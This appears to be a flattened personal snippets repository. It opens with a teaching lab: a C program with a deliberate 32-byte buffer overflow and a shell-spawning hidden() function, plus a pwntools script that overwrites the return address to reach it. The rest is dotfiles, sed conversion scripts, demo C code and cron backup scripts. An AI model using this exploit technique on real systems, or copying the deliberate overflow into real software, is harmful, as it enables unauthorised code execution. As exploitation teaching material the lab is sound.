-------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g -fno-PIC -Wno-unused-function -fno-stack-protector 2 | LDFLAGS = -no-pie 3 | 4 | .PHONY: all clean 5 | 6 | all: vuln 7 | 8 | vuln: vuln.o 9 | 10 | vuln.o: vuln.c 11 | 12 | clean: 13 | -rm -f vuln vuln.o 14 | -rm -f *~ 15 | -rm -f peda-session-* core 16 | -------------------------------------------------------------------------------- /code-reuse/system-sh-present/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | binary = "./vuln" 6 | context.binary = binary 7 | #context.log_level = "debug" 8 | 9 | e = ELF(binary) 10 | #hidden_address = e.symbols["hidden"] 11 | hidden_address = e.symbols["hidden"] 12 | log.info("hidden: 0x{:016x}".format(hidden_address)) 13 | 14 | r = ROP(e) 15 | ret = r.find_gadget(["ret"]).address 16 | 17 | offset = 40 18 | 19 | # Add a ret gadget that does nothing helpful (it simply jumps to the next 20 | # address) to fix issue with stack alignment in do_system() for glibc 2.27: 21 | # => 0x7f14bef6c2f6 : movaps XMMWORD PTR [rsp+0x40],xmm0 22 | payload = offset * "A" + p64(ret) + p64(hidden_address) 23 | log.info("".join("\\x{:02x}".format(ord(i)) for i in payload)) 24 | 25 | io = process(binary) 26 | #gdb.attach(io) 27 | io.sendline(payload) 28 | io.interactive() 29 | -------------------------------------------------------------------------------- /code-reuse/system-sh-present/vuln: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/razvand/snippets/dfb7a0cdd96864512324cc4f6aa9b70867c05c09/code-reuse/system-sh-present/vuln -------------------------------------------------------------------------------- /code-reuse/system-sh-present/vuln.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | static void hidden(void) 5 | { 6 | system("/bin/sh"); 7 | } 8 | 9 | static void reader(void) 10 | { 11 | char buffer[32]; 12 | 13 | fgets(buffer, 128, stdin); 14 | } 15 | 16 | int main(void) 17 | { 18 | reader(); 19 | return 0; 20 | } 21 | -------------------------------------------------------------------------------- /config/bash/bash_aliases_deploy: -------------------------------------------------------------------------------- 1 | alias go='gnome-open' 2 | alias grep='grep --color=auto' 3 | alias grpe='grep' 4 | alias gpre='grep' 5 | alias gti='git' 6 | alias gigt='git' 7 | -------------------------------------------------------------------------------- /config/bash/bash_aliases_deploy_systemd: -------------------------------------------------------------------------------- 1 | alias go='gnome-open' 2 | alias grep='grep --color=auto' 3 | alias grpe='grep' 4 | alias gpre='grep' 5 | alias gti='git' 6 | alias gigt='git' 7 | alias boot-cli='systemctl set-default multi-user.target' 8 | alias boot-gui='systemctl set-default graphical.target' 9 | -------------------------------------------------------------------------------- /config/bash/bash_aliases_no_ssh: -------------------------------------------------------------------------------- 1 | alias emacs-org='emacs ~/my/org/*.org' 2 | alias emacsorg='emacs ~/my/org/*.org' 3 | alias go='xdg-open' 4 | alias open='xdg-open' 5 | alias grep='grep --color=auto' 6 | alias grpe='grep' 7 | alias gpre='grep' 8 | alias gti='git' 9 | alias gigt='git' 10 | alias cal='ncal -M' 11 | alias ncal='ncal -M' 12 | -------------------------------------------------------------------------------- /config/cssh/clusters: -------------------------------------------------------------------------------- 1 | p2p-next-root root@p2p-next-01.grid.pub.ro root@p2p-next-02.grid.pub.ro root@p2p-next-03.grid.pub.ro root@p2p-next-04.grid.pub.ro root@p2p-next-05.grid.pub.ro root@p2p-next-06.grid.pub.ro root@p2p-next-07.grid.pub.ro root@p2p-next-08.grid.pub.ro root@p2p-next-10.grid.pub.ro 2 | 3 | p2p-next-p2p p2p@p2p-next-01.grid.pub.ro p2p@p2p-next-02.grid.pub.ro p2p@p2p-next-03.grid.pub.ro p2p@p2p-next-04.grid.pub.ro p2p@p2p-next-05.grid.pub.ro p2p@p2p-next-06.grid.pub.ro p2p@p2p-next-07.grid.pub.ro p2p@p2p-next-08.grid.pub.ro p2p@p2p-next-10.grid.pub.ro 4 | 5 | root-all root@mamba.cs.pub.ro root@swarm.cs.pub.ro root@rosedu.org root@koala.cs.pub.ro root@elf.cs.pub.ro root@titan.cs.pub.ro root@anaconda.cs.pub.ro root@ixlabs.cs.pub.ro root@cursuri.cs.pub.ro root@sanctuary.cs.pub.ro root@oldmail.cs.pub.ro 6 | 7 | ctf-student ctf-student-01 ctf-student-02 ctf-student-03 ctf-student-04 ctf-student-05 ctf-student-06 ctf-student-07 ctf-student-08 ctf-student-09 ctf-student-10 ctf-student-11 ctf-student-12 ctf-student-13 ctf-student-14 ctf-student-15 ctf-student-16 ctf-student-17 ctf-student-18 ctf-student-19 ctf-student-20 8 | 9 | ctf-root ctf-root-01 ctf-root-02 ctf-root-03 ctf-root-04 ctf-root-05 ctf-root-06 ctf-root-07 ctf-root-08 ctf-root-09 ctf-root-10 ctf-root-11 ctf-root-12 ctf-root-13 ctf-root-14 ctf-root-15 ctf-root-16 ctf-root-17 ctf-root-18 ctf-root-19 ctf-root-20 10 | -------------------------------------------------------------------------------- /config/emacs/ercrc.el: -------------------------------------------------------------------------------- 1 | ;; 2 | ;; ERC configuration (http://www.emacswiki.org/emacs/ERC) 3 | ;; 4 | 5 | ;; user id 6 | (setq erc-email-userid "razvan@rosedu.org") 7 | (setq erc-user-full-name "Razvan Deaconescu") 8 | 9 | ;; http://www.emacswiki.org/emacs/ErcAutoAway 10 | (setq erc-autoaway-idle-seconds 600) 11 | (setq erc-autojoin-channels-alist 12 | '(("freenode.net" "#cs_so" "#rosedu" "#acm-seerc" "#vmxl4" "#cs_uso"))) 13 | 14 | (setq erc-echo-notices-in-minibuffer-flag t) 15 | 16 | ;;(erc-spelling-mode 1) 17 | (require 'smiley) 18 | 19 | ;; http://www.emacswiki.org/emacs/ErcLogging 20 | (setq erc-log-channels-directory "~/.erc/logs/") 21 | (setq erc-save-buffer-on-part t) 22 | (setq erc-hide-timestamps t) 23 | 24 | ;; http://www.emacswiki.org/emacs/ErcAutoQuery 25 | (setq erc-auto-query 'window) 26 | 27 | ;; http://www.emacswiki.org/emacs/ErcChannelTracking 28 | (setq erc-current-nick-highlight-type 'nick) 29 | (setq erc-keywords '("\\berc[-a-z]*\\b" "\\bemms[-a-z]*\\b")) 30 | 31 | (setq erc-track-exclude-types '("JOIN" "PART" "QUIT" "NICK" "MODE" 32 | "324" "329" "332" "333" "353" "477")) 33 | (setq erc-track-use-faces t) 34 | (setq erc-track-faces-priority-list 35 | '(erc-current-nick-face erc-keyword-face)) 36 | (setq erc-track-priority-faces-only 'all) 37 | (setq erc-hide-list '("JOIN" "PART" "QUIT")) -------------------------------------------------------------------------------- /config/email/authinfo: -------------------------------------------------------------------------------- 1 | machine Mail login razvan port imap password "TODO" 2 | machine swarm.cs.pub.ro login razvan port imaps password "TODO" 3 | machine unikraft.io login razvand@unikraft.io port imaps password "TODO" 4 | machine gmail.com login razvand@gmail.com port imaps password "TODO" 5 | machine rosedu.org login razvan@rosedu.org port imaps password "TODO" 6 | machine upb.ro login razvan.deaconescu@upb.ro port 1143 password "TODO" 7 | -------------------------------------------------------------------------------- /config/gitignore: -------------------------------------------------------------------------------- 1 | *~ 2 | *.o 3 | *.zip 4 | *.rar 5 | *gz 6 | *bz2 7 | *.obj 8 | *.a 9 | *.so 10 | *.lib 11 | *.dll 12 | *.swp 13 | *.swo 14 | tags 15 | TAGS 16 | *.exe 17 | *.class 18 | *.jar 19 | *.pyc 20 | -------------------------------------------------------------------------------- /config/tmux/tmux_basic.conf: -------------------------------------------------------------------------------- 1 | set-option -g status-position top 2 | unbind C-b 3 | set -g prefix C-v 4 | bind-key C-v send-prefix 5 | -------------------------------------------------------------------------------- /config/tmux/tmux_debian.conf: -------------------------------------------------------------------------------- 1 | set-option -g status-position top 2 | unbind C-b 3 | set -g prefix C-v 4 | bind-key C-v send-prefix 5 | 6 | # List of plugins 7 | set -g @plugin 'tmux-plugins/tpm' 8 | set -g @plugin 'tmux-plugins/tmux-sensible' 9 | set -g @plugin 'tmux-plugins/tmux-resurrect' 10 | 11 | # Initialize TMUX plugin manager (keep this line at the very bottom of tmux.conf) 12 | run '/usr/share/tmux-plugin-manager/tpm' 13 | 14 | -------------------------------------------------------------------------------- /config/tmux/tmux_default.conf: -------------------------------------------------------------------------------- 1 | set-option -g status-position top 2 | unbind C-b 3 | set -g prefix C-v 4 | bind-key C-v send-prefix 5 | 6 | # List of plugins 7 | set -g @plugin 'tmux-plugins/tpm' 8 | set -g @plugin 'tmux-plugins/tmux-sensible' 9 | set -g @plugin 'tmux-plugins/tmux-resurrect' 10 | 11 | # Initialize TMUX plugin manager (keep this line at the very bottom of tmux.conf) 12 | run -b '~/.tmux/plugins/tpm/tpm' 13 | -------------------------------------------------------------------------------- /config/vim/ftplugin/asm.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=4 3 | setlocal shiftwidth=4 4 | setlocal autoindent 5 | setlocal autowrite 6 | setlocal textwidth=0 7 | -------------------------------------------------------------------------------- /config/vim/ftplugin/css.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=4 3 | setlocal shiftwidth=4 4 | setlocal autoindent 5 | setlocal autowrite 6 | setlocal textwidth=0 7 | -------------------------------------------------------------------------------- /config/vim/ftplugin/html.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=4 3 | setlocal shiftwidth=4 4 | setlocal autoindent 5 | setlocal autowrite 6 | setlocal textwidth=0 7 | -------------------------------------------------------------------------------- /config/vim/ftplugin/java.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=4 3 | setlocal shiftwidth=4 4 | setlocal autoindent 5 | setlocal autowrite 6 | -------------------------------------------------------------------------------- /config/vim/ftplugin/javascript.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=4 3 | setlocal shiftwidth=4 4 | setlocal autoindent 5 | setlocal autowrite 6 | setlocal textwidth=0 7 | -------------------------------------------------------------------------------- /config/vim/ftplugin/json.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=2 3 | setlocal shiftwidth=2 4 | setlocal autoindent 5 | setlocal autowrite 6 | setlocal textwidth=0 7 | -------------------------------------------------------------------------------- /config/vim/ftplugin/python.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=4 3 | setlocal shiftwidth=4 4 | setlocal autoindent 5 | setlocal autowrite 6 | -------------------------------------------------------------------------------- /config/vim/ftplugin/sh.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=4 3 | setlocal shiftwidth=4 4 | setlocal autoindent 5 | setlocal autowrite 6 | -------------------------------------------------------------------------------- /config/vim/ftplugin/tex.vim: -------------------------------------------------------------------------------- 1 | setlocal expandtab 2 | setlocal softtabstop=2 3 | setlocal shiftwidth=2 4 | setlocal autoindent 5 | setlocal autowrite 6 | setlocal textwidth=0 7 | 8 | " Proper spell checking for LaTeX files. 9 | syntax sync maxlines=2000 10 | syntax sync minlines=500 11 | syntax spell toplevel 12 | -------------------------------------------------------------------------------- /config/vim/ftplugin/text.vim: -------------------------------------------------------------------------------- 1 | setlocal textwidth=0 2 | -------------------------------------------------------------------------------- /config/vim/ftplugin/wiki.vim: -------------------------------------------------------------------------------- 1 | set textwidth=0 2 | -------------------------------------------------------------------------------- /config/vim/vimrc_iOS: -------------------------------------------------------------------------------- 1 | set backupdir=~/.vim/bkup/ 2 | set encoding=utf8 3 | 4 | " Load manual pages. 5 | runtime ftplugin/man.vim 6 | 7 | " Set tex flavor. 8 | let g:tex_flavor = 'latex' 9 | 10 | if has("autocmd") 11 | autocmd BufNewFile,BufRead *.txt set filetype=text 12 | " For all text files disable text wrapping. 13 | autocmd FileType text setlocal textwidth=0 14 | endif 15 | 16 | " When /etc/vim/vimrc is not initialized from /usr/share/vim/vimXY/vimrc_example.vim. 17 | set history=50 " keep 50 lines of command line history 18 | set showcmd " display incomplete commands 19 | set incsearch " do incremental searching 20 | 21 | " Don't use Ex mode, use Q for formatting 22 | map Q gq 23 | 24 | set autoindent " always set autoindenting on 25 | syntax on " enable syntax highlighting 26 | 27 | " Convenient command to see the difference between the current buffer and the 28 | " file it was loaded from, thus the changes you made. 29 | " Only define it when not defined already. 30 | if !exists(":DiffOrig") 31 | command DiffOrig vert new | set bt=nofile | r ++edit # | 0d_ | diffthis 32 | \ | wincmd p | diffthis 33 | endif 34 | -------------------------------------------------------------------------------- /config/vim/vimrc_no_cscope: -------------------------------------------------------------------------------- 1 | set backupdir=~/.vim/bkup/ 2 | set encoding=utf8 3 | set noundofile 4 | 5 | " Mark tabs and spaces. 6 | set list listchars=tab:»\ ,trail:·,extends:»,precedes:« 7 | 8 | " Load manual pages. 9 | runtime ftplugin/man.vim 10 | 11 | " Set tex flavor. 12 | let g:tex_flavor = 'latex' 13 | 14 | if has("autocmd") 15 | autocmd BufNewFile,BufRead *.txt set filetype=text 16 | " For all text files disable text wrapping. 17 | autocmd FileType text setlocal textwidth=0 18 | endif 19 | -------------------------------------------------------------------------------- /config/vim/vimrc_no_global_vimrc_no_cscope: -------------------------------------------------------------------------------- 1 | set backupdir=~/.vim/bkup/ 2 | set encoding=utf8 3 | set noundofile 4 | 5 | " Mark tabs and spaces. 6 | set list listchars=tab:»\ ,trail:·,extends:»,precedes:« 7 | 8 | " Load manual pages. 9 | runtime ftplugin/man.vim 10 | 11 | " Set tex flavor. 12 | let g:tex_flavor = 'latex' 13 | 14 | if has("autocmd") 15 | autocmd BufNewFile,BufRead *.txt set filetype=text 16 | " For all text files disable text wrapping. 17 | autocmd FileType text setlocal textwidth=0 18 | endif 19 | 20 | " When /etc/vim/vimrc is not initialized from /usr/share/vim/vimXY/vimrc_example.vim. 21 | set history=50 " keep 50 lines of command line history 22 | set showcmd " display incomplete commands 23 | set incsearch " do incremental searching 24 | 25 | " Don't use Ex mode, use Q for formatting 26 | map Q gq 27 | 28 | set autoindent " always set autoindenting on 29 | syntax on " enable syntax highlighting 30 | 31 | " Convenient command to see the difference between the current buffer and the 32 | " file it was loaded from, thus the changes you made. 33 | " Only define it when not defined already. 34 | if !exists(":DiffOrig") 35 | command DiffOrig vert new | set bt=nofile | r ++edit # | 0d_ | diffthis 36 | \ | wincmd p | diffthis 37 | endif 38 | -------------------------------------------------------------------------------- /conv/.gitignore: -------------------------------------------------------------------------------- 1 | /dump*.sql 2 | /test/ 3 | -------------------------------------------------------------------------------- /conv/creole2redmine.sed: -------------------------------------------------------------------------------- 1 | #!/bin/sed -f 2 | 3 | { 4 | :again 5 | # Creole Syntax: http://www.wikicreole.org/wiki/Creole1.0 6 | # Redmine Wiki Syntax: http://www.redmine.org/projects/redmine/wiki/RedmineTextFormatting 7 | 8 | # HTTP URLs 9 | s/\[\[[ \t]*\(https\?:\/\/[^\| \t]\+\)[ \t]*|[ \t]*\([^]]\+\)[ \t]*\]\]/"\2":\1/g 10 | # wiki page references 11 | s/\[\[[ \t]*\([^\| \t]\+\)[ \t]*|[ \t]*\([^]]\+\)[ \t]*\]\]/[[\1|\2]]/g 12 | 13 | # bold 14 | s/\*\*\([^*\t ]\+\)\*\*/*\1*/g 15 | # italic 16 | s/\/\/\([^\/]\+\)\/\//_\1_/g 17 | 18 | # headings 19 | s/[ \t]*=====[ \t]*\([^=]\+\)=\+[ \t]*$/h5. \1/g 20 | s/[ \t]*====[ \t]*\([^=]\+\)=\+[ \t]*$/h4. \1/g 21 | s/[ \t]*===[ \t]*\([^=]\+\)=\+[ \t]*$/h3. \1/g 22 | s/[ \t]*==[ \t]*\([^=]\+\)=\+[ \t]*$/h2. \1/g 23 | s/[ \t]*=[ \t]*\([^=]\+\)=\+[ \t]*$/h1. \1/g 24 | 25 | # for MySQL dump 26 | s/[ \t]*=====[ \t]*\([^=]\+\)=\+[ \t]*\\/h5. \1\\/g 27 | s/[ \t]*====[ \t]*\([^=]\+\)=\+[ \t]*\\/h4. \1\\/g 28 | s/[ \t]*===[ \t]*\([^=]\+\)=\+[ \t]*\\/h3. \1\\/g 29 | s/[ \t]*==[ \t]*\([^=]\+\)=\+[ \t]*\\/h2. \1\\/g 30 | s/[ \t]*=[ \t]*\([^=]\+\)=\+[ \t]*\\/h1. \1\\/g 31 | 32 | # block quotes 33 | /^[ \t]*{{{[ \t]*$/,/^[ \t]*}}}/ { 34 | /^[ \t]*{{{[ \t]*$/d 35 | /^[ \t]*}}}/ { 36 | s/^[ \t]*}}}\(.*$\)/\1/ 37 | /^[ \t]*$/d 38 | b again 39 | } 40 | s/\(^.*$\)/> \1/ 41 | } 42 | 43 | # inline monotype 44 | s/{{{\({*\)/@\1/g 45 | s/\(}*\)}}}/\1@/g 46 | } 47 | -------------------------------------------------------------------------------- /conv/diacritics.sed: -------------------------------------------------------------------------------- 1 | #!/bin/sed -f 2 | 3 | { 4 | # ș 5 | s/\xc5\x9f/\xc8\x99/g 6 | # ț 7 | s/\xc5\xa3/\xc8\x9b/g 8 | # Ș 9 | s/\xc5\x9e/\xc8\x98/g 10 | # Ț 11 | s/\xc5\xa2/\xc8\x9a/g 12 | } 13 | -------------------------------------------------------------------------------- /conv/import-mysql-utf8: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mysql -u root -p$(cat ~/.passwords/mysql-root) <<<"drop database redmine;" 4 | mysql -u root -p$(cat ~/.passwords/mysql-root) <<<"create database redmine CHARACTER SET utf8 COLLATE utf8_general_ci;" 5 | mysql -u root -p$(cat ~/.passwords/mysql-root) --default-character-set=utf8 redmine < ~/backup/mysql-ixlabs-redmine.sql 6 | #mysqldump -u root -p$(cat ~/.passwords/mysql-root) redmine > /tmp/redmine.sql 7 | -------------------------------------------------------------------------------- /conv/mdlxml2txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if test $# -ne 1; then 4 | echo "Usage: $0 xml_file" 5 | exit 1 6 | fi 7 | 8 | cat $1 | sed -n ' 9 | # equivalent to grep -A 3 10 | /^[ \t]\+/{N;N;N;p} 11 | /^[ \t]\+/d 16 | /^[ \t]\+<\/text>/d 17 | /^[ \t]\+/d 18 | /^[ \t]*<\/name>/d 19 | /^[ \t]\+//g 23 | s/<\/text>//g 24 | s///g 26 | /^[ \t]\+/{N ; s/.*\n/+ /} 27 | /^[ \t]\+\([^<]\+\)<\/span>/\1<\/b>/g 32 | s/\([^<]\+\)<\/span>/\1<\/tt>/g 33 | s/
//g 34 | s///g 36 | ' | sed ' 37 | # diacritice 38 | s/\xc8\x9b/t/g 39 | s/\xc8\x99/s/g 40 | s/\xc4\x83/a/g 41 | s/\xc3\xa2/a/g 42 | s/\xc3\xae/i/g 43 | s/\xc8\x9a/T/g 44 | s/\xc8\x98/S/g 45 | s/\xc4\x92/A/g 46 | s/\xc3\x82/A/g 47 | s/\xc3\x8e/I/g 48 | s/\xc5\xa3/t/g 49 | s/\xc5\x9f/s/g 50 | ' 51 | -------------------------------------------------------------------------------- /conv/media2creole.sed: -------------------------------------------------------------------------------- 1 | #!/bin/sed -f 2 | 3 | { 4 | s/\[\(http[^]]\+\)]/[[\1]]/g 5 | s/
//g
 6 | s/<\/pre>/<\/code>/g
 7 | s///g
 8 | s/<\/source>/<\/code>/g
 9 | s//{{{/g
10 | s/<\/tt>/}}}/g
11 | s//**/g
12 | s/<\/b>/**/g
13 | s/
    //g 14 | s/<\/ul>//g 15 | s/[ \t]*
  • \(.*\)<\/li>/* \1/g 16 | s/'''/**/g 17 | s/''/\/\//g 18 | s/{{{\[\[/[[/g 19 | s/\]\]}}}/]]/g 20 | s/\(\[\[http:[^ ]\+\) /\1|/g 21 | # diacritics 22 | # ș 23 | s/\xc5\x9f/\xc8\x99/g 24 | # ț 25 | s/\xc5\xa3/\xc8\x9b/g 26 | # Ș 27 | s/\xc5\x9e/\xc8\x98/g 28 | # Ț 29 | s/\xc5\xa2/\xc8\x9a/g 30 | # weird quotes 31 | s/\xe2\x80\x9c/"/g 32 | s/\xe2\x80\x9d/"/g 33 | } 34 | -------------------------------------------------------------------------------- /conv/sqlite2mysql.sed: -------------------------------------------------------------------------------- 1 | #!/bin/sed -f 2 | 3 | s/INSERT INTO[ \t]\+"\([^"]\+\)"/INSERT INTO `\1`/g 4 | #s/CREATE TABLE[ \t]\+"\([^"]\+\)"/INSERT INTO `\1`/g 5 | #s/CREATE INDEX[ \t]\+"\([^"]\+\)"/INSERT INTO `\1`/g 6 | /CREATE TABLE/s/"/`/g 7 | /CREATE INDEX/s/"/`/g 8 | /CREATE UNIQUE INDEX/s/"/`/g 9 | s/AUTOINCREMENT/AUTO_INCREMENT/g 10 | s/'t'/'1'/g 11 | s/'f'/'0'/g 12 | -------------------------------------------------------------------------------- /conv/trac2creole.sed: -------------------------------------------------------------------------------- 1 | #!/bin/sed -f 2 | 3 | { 4 | s/\[\(https\?[^]]\+\)]/[[\1]]/g 5 | s/^ \*/*/g 6 | s/^ \*/*/g 7 | s/^ \*/**/g 8 | s/^ \*/**/g 9 | s/^ \*/***/g 10 | s/^ \*/***/g 11 | s/||/|/g 12 | s/
    //g
    13 | s/<\/pre>/<\/code>/g
    14 | s///g
    15 | s/<\/source>/<\/code>/g
    16 | s//{{{/g
    17 | s/<\/tt>/}}}/g
    18 | s//**/g
    19 | s/<\/b>/**/g
    20 | s/
      //g 21 | s/<\/ul>//g 22 | s/[ \t]*
    • \(.*\)<\/li>/* \1/g 23 | s/'''/**/g 24 | s/''/\/\//g 25 | s/{{{\[\[/[[/g 26 | s/\]\]}}}/]]/g 27 | s/\(\[\[https\?:[^ ]\+\) /\1|/g 28 | } 29 | -------------------------------------------------------------------------------- /copy-on-write/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | 3 | .PHONY: all clean 4 | 5 | all: copy-on-write 6 | 7 | copy-on-write: copy-on-write.o 8 | 9 | clean: 10 | -rm -f *.o *~ copy-on-write 11 | -------------------------------------------------------------------------------- /copy-on-write/README: -------------------------------------------------------------------------------- 1 | Compile (make) and run (./copy-on-write). 2 | 3 | Use sleep intervals to checkout page faults. Use 4 | 5 | pidstat -r -T ALL -p $(pidof copy-on-write) 6 | 7 | Page faults in child process are visibile only after ending its execution. 8 | -------------------------------------------------------------------------------- /copy-on-write/copy-on-write.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define MMAP_SIZE (1024 * 4096) 12 | #define TIMEOUT 10 13 | 14 | int main(void) 15 | { 16 | pid_t pid; 17 | char *a; 18 | size_t i; 19 | 20 | /* allocate virtual pages - demand paging */ 21 | a = mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 22 | if (a == MAP_FAILED) { 23 | perror("mmap"); 24 | exit(EXIT_FAILURE); 25 | } 26 | 27 | printf(" [initial] pid = %d\n", getpid()); 28 | 29 | printf(" [initial] Force demand paging. Waiting %d seconds.\n", TIMEOUT); 30 | sleep(TIMEOUT); 31 | 32 | /* allocate physical pages */ 33 | for (i = 0; i < 1024; i++) 34 | a[i*4096] = i; 35 | printf(" [initial] Done demand paging. Waiting %d seconds.\n", TIMEOUT); 36 | sleep(TIMEOUT); 37 | 38 | pid = fork(); 39 | switch (pid) { 40 | case -1: /* error */ 41 | perror("fork"); 42 | exit(EXIT_FAILURE); 43 | 44 | 45 | case 0: /* child process */ 46 | printf(" [child] Doing copy on write. Waiting %d seconds.\n", TIMEOUT); 47 | sleep(TIMEOUT); 48 | 49 | /* force copy on write */ 50 | for (i = 0; i < 1024; i++) 51 | a[i*4096] = 1024-i; 52 | 53 | printf(" [child] Done copy on write. Waiting %d seconds.\n", TIMEOUT); 54 | sleep(TIMEOUT); 55 | 56 | exit(EXIT_SUCCESS); 57 | 58 | default: /* parent process */ 59 | break; 60 | } 61 | 62 | /* parent process */ 63 | printf(" [parent] Waiting for child.\n"); 64 | wait(NULL); 65 | 66 | printf(" [parent] Doing copy on write. Waiting %d seconds.\n", TIMEOUT); 67 | sleep(TIMEOUT); 68 | 69 | /* force copy on write */ 70 | for (i = 0; i < 1024; i++) 71 | a[i*4096] = 1024-i; 72 | 73 | printf(" [parent] Done copy on write. Waiting %d seconds.\n", TIMEOUT); 74 | sleep(TIMEOUT); 75 | 76 | return 0; 77 | } 78 | -------------------------------------------------------------------------------- /cpp-c/.gitignore: -------------------------------------------------------------------------------- 1 | /test 2 | -------------------------------------------------------------------------------- /cpp-c/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g -m32 2 | CXXFLAGS = -Wall -g -m32 3 | LDFLAGS = -m32 4 | LDLIBS = -lstdc++ 5 | 6 | .PHONY: all clean 7 | 8 | all: test 9 | 10 | test: test.o add.o 11 | 12 | test.o: test.cpp add.h 13 | 14 | add.o: add.c add.h 15 | 16 | clean: 17 | -rm -f *~ 18 | -rm -f *.o 19 | -rm -f test 20 | -------------------------------------------------------------------------------- /cpp-c/add.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "add.h" 4 | 5 | int add(int a, int b) 6 | { 7 | printf("sum = %d\n", a+b); 8 | 9 | return a+b; 10 | } 11 | -------------------------------------------------------------------------------- /cpp-c/add.h: -------------------------------------------------------------------------------- 1 | #ifndef ADD_H_ 2 | #define ADD_H_ 1 3 | 4 | #ifdef __cplusplus 5 | extern "C" { 6 | #endif 7 | 8 | int add(int a, int b); 9 | 10 | #ifdef __cplusplus 11 | } 12 | #endif 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /cpp-c/test.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | int a = 10; 6 | int b = 20; 7 | 8 | std::cout << "a = " << a << "; b = " << b << std::endl; 9 | 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /cron/backup-to-disk: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RSYNC=/usr/bin/rsync 4 | OPTS="-avz --delete-after" 5 | BACKUP_LOG=/home/razvan/my/cron/backup-to-disk.log 6 | DISK_BASE=/mnt/sdb3/razvan 7 | 8 | RPATH="$DISK_BASE"/backup/ 9 | 10 | LPATH=/home/razvan/projects 11 | $RSYNC $OPTS "$LPATH" "$RPATH" 12 | 13 | LPATH=/home/razvan/my 14 | $RSYNC $OPTS "$LPATH" "$RPATH" 15 | 16 | LPATH=/home/razvan/people 17 | $RSYNC $OPTS "$LPATH" "$RPATH" 18 | 19 | LPATH=/home/razvan/school 20 | $RSYNC $OPTS "$LPATH" "$RPATH" 21 | 22 | LPATH=/home/razvan/catedra 23 | $RSYNC $OPTS "$LPATH" "$RPATH" 24 | 25 | echo "done at $(date)" >> $BACKUP_LOG 26 | -------------------------------------------------------------------------------- /cron/backup-to-titan: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RSYNC=/usr/bin/rsync 4 | SSH=/usr/bin/ssh 5 | KEY=/home/razvan/.ssh/id_rsa_rsync 6 | RUSER=root 7 | RHOST=titan.cs.pub.ro 8 | OPTS="-avz --delete-after" 9 | BACKUP_LOG=/home/razvan/my/cron/backup-to-titan.log 10 | 11 | RPATH=/home/razvan/backup/ 12 | LPATH=/home/razvan/projects 13 | $RSYNC $OPTS -e "$SSH -i $KEY" $LPATH $RUSER@$RHOST:$RPATH 14 | 15 | RPATH=/home/razvan/backup/ 16 | LPATH=/home/razvan/my 17 | $RSYNC $OPTS -e "$SSH -i $KEY" $LPATH $RUSER@$RHOST:$RPATH 18 | 19 | RPATH=/home/razvan/backup/ 20 | LPATH=/home/razvan/people 21 | $RSYNC $OPTS -e "$SSH -i $KEY" $LPATH $RUSER@$RHOST:$RPATH 22 | 23 | RPATH=/home/razvan/backup/ 24 | LPATH=/home/razvan/school 25 | $RSYNC $OPTS -e "$SSH -i $KEY" $LPATH $RUSER@$RHOST:$RPATH 26 | 27 | RPATH=/home/razvan/backup/ 28 | LPATH=/home/razvan/catedra 29 | 30 | $RSYNC $OPTS -e "$SSH -i $KEY" $LPATH $RUSER@$RHOST:$RPATH 31 | 32 | echo "done at $(date)" >> $BACKUP_LOG 33 | -------------------------------------------------------------------------------- /cron/run-offlineimap: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #OFFLINEIMAP=/opt/local/bin/offlineimap 4 | OFFLINEIMAP=/usr/bin/offlineimap 5 | LOGFILE=~/.log/offlineimap-cron.log 6 | 7 | function check_alive() 8 | { 9 | ps -ef | grep "$OFFLINEIMAP" | grep -v grep > /dev/null 2>&1 10 | } 11 | 12 | check_alive 13 | if test $? -ne 0; then 14 | nohup ionice -c 3 -n 19 python2 "$OFFLINEIMAP" >> "$LOGFILE" 2>&1 & 15 | fi 16 | 17 | exit 0 18 | -------------------------------------------------------------------------------- /cron/run-torrent: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | BTDOWNLOADHEADLESS=/usr/bin/btdownloadheadless 4 | 5 | if test $# -ne 2; then 6 | echo "Usage: $0 torrent_file download_dir" 2>&1 7 | exit 1 8 | fi 9 | 10 | TORRENT_FILE="$1" 11 | DOWNLOAD_DIR="$2" 12 | 13 | file "$TORRENT_FILE" | grep "BitTorrent file" &> /dev/null 14 | if test $? -ne 0; then 15 | echo "$TORRENT_FILE is not a BitTorrent file" 2>&1 16 | exit 1 17 | fi 18 | 19 | if ! test -d $DOWNLOAD_DIR; then 20 | echo "$DOWNLOAD_DIR is not a folder" 2>&1 21 | exit 1 22 | fi 23 | 24 | function check_alive() 25 | { 26 | ps -ef | grep $BTDOWNLOADHEADLESS | grep $TORRENT_FILE &> /dev/null 27 | } 28 | 29 | check_alive 30 | if test $? -ne 0; then 31 | pushd . &> 